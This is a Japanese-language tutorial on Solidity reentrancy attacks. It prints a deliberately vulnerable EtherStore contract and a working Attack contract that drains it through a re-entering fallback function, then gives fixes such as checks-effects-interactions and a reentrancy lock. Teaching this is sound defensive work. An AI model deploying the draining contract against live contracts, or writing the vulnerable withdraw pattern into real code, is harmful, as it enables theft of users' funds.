リエントランシー攻撃とは何ですか?
コントラクトを使用するプロセスでは、このような状況によく遭遇します。スマート コントラクトは外部コントラクトを呼び出すことができます。これらの外部コントラクトは、それらを呼び出したスマート コントラクトにコールバックすることができます。この場合、スマート コントラクトが再入力されると言います。この状況はリエントランシーと呼ばれます。
通常の使用では問題ありませんが、攻撃者がコントラクトの実行プロセスに攻撃コードを挿入し、コントラクトが通常のロジックを超えて攻撃コードを実行すると、ユーザーに損失が発生します。
ユーザーがユーザー アカウントを使用して契約 B に電話をかける場合、それは通常の通話であり、問題はありません。
攻撃者が攻撃コントラクトを作成して B にコールすると、次のようなプロセスが発生する可能性があります。B は攻撃にコールバックします。
コントラクトを実行し、その後攻撃がコントラクト B を再度呼び出します。
これを実現する鍵となるのは次の 2 つです。
1.転送で契約を呼び出す
Gas().call.vale()(): 呼び出し時にすべてのガスが送信され、送信が失敗するとブール値 false が返されるため、再入攻撃を効果的に防ぐことはできません。
transfer() および send(): 呼び出しには 2300 ガスのみが送信され、送信が失敗した場合のロールバックには throw が使用されるため、再突入攻撃が防止されます。
2. 攻撃可能なフォールバック関数を宣言する
フォールバック関数: フォールバック関数は、各コントラクトに名前のない唯一の関数であり、この関数にはパラメーターも戻り値もありません。
function() public payable(){}
フォールバック関数は次の状況で実行されます。
- コントラクトを呼び出すときに一致する関数がありません。
- コントラクトを呼び出すときにデータは渡されません。
- フォールバック関数を支払い可能としてマークする必要がある場合、スマート コントラクトは Ether を受け取ります。
契約分析
まずコントラクト - EtherStore をデプロイすると、ETH の入金と出金が可能になります。しかし、このコントラクトは再入攻撃に対して脆弱です。
ここでは、withdraw 関数の分析に焦点を当てます。まず、送信者の残高が 0 より大きいかどうかを判断します。0 より大きい場合は、残高を送信者に送信します。ここで ether を送信するために使用される関数は call.value であることに注意してください。送信が完了すると、送信者の残高は以下で更新されます。これがリエントラント攻撃の鍵です。
送信者がコントラクトの場合、関数は ether を送信するため、送信者のフォールバック関数を呼び出します。フォールバックで EtherStore のdrawing を呼び出し続けると、プログラムはループに入り、継続的に ether を送信し、balances[msg.sender] = 0 を実行しません。EtherStore の残高が 0 になるまで残高を更新できません。
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻撃コントラクトは次のようになります. 攻撃コントラクト内のフォールバック関数では、引き続き EtherStore の撤退を呼び出し、その後、攻撃を呼び出して攻撃を開始します。
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻撃プロセス
1. EtherStore コントラクトを展開する
2. アカウント A は EtherStore.deposit() を呼び出して 3eth を入金し、アカウント B は EtherStore.deposit() を呼び出して 2eth を入金します。
3. 攻撃コントラクトを展開する
4. アカウント C は Attack.attck() を呼び出して攻撃を完了します。
予防と修復
他の伝達関数を使用します。
ユーザーの目的がターゲットアドレスに資金を送金することだけである場合は、送金機能を使用する必要があります。
チェック効果相互作用
コントラクト関数を作成するときは、まずチェックし、次に有効にし、最後に対話します。
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0); //checks
balances[msg.sender] = 0; //effect
(bool sent, ) = msg.sender.call{value: bal}(""); //interaction
require(sent, "Failed to send Ether");
}
ミューテックスを使用する
再入攻撃を防ぐために、コードの実行中にコントラクトをロックする状態変数を追加します。
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
OpenZeppelin が提供するリエントラント ロックを直接使用することもできます。
マスター OpenZeppelin/openzeppelin-contracts GitHub の openzeppelin-contracts/ReentrancyGuard.sol